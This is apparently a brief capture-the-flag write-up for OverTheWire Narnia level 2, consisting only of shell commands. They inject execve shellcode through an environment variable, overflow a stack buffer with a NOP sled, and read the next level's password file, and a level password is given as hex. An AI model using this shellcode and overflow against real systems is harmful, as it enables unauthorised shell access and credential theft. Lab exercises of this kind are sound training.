# ssh narnia2@narnia.labs.overthewire.org
6e616972696570656375
narnia2@melissa$ file /narnia/narnia2
narnia2@melissa$ cat /narnia/narnia2.c
narnia2@melissa$ export EGG=`perl -e 'print "\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"'`
narnia2@melissa$ cat getenvaddr.c
narnia2@melissa$ gcc -m32 -o getenvaddr getenvaddr.c
narnia2@melissa$ ./getenvaddr EGG /narnia/narnia2
narnia2@melissa$ /narnia/narnia2 `perl -e 'print "\x90"x140 . "\x7d\xd9\xff\xff"'`
$ /usr/bin/whoami
$ /bin/cat /etc/narnia_pass/narnia3
No comments:
Post a Comment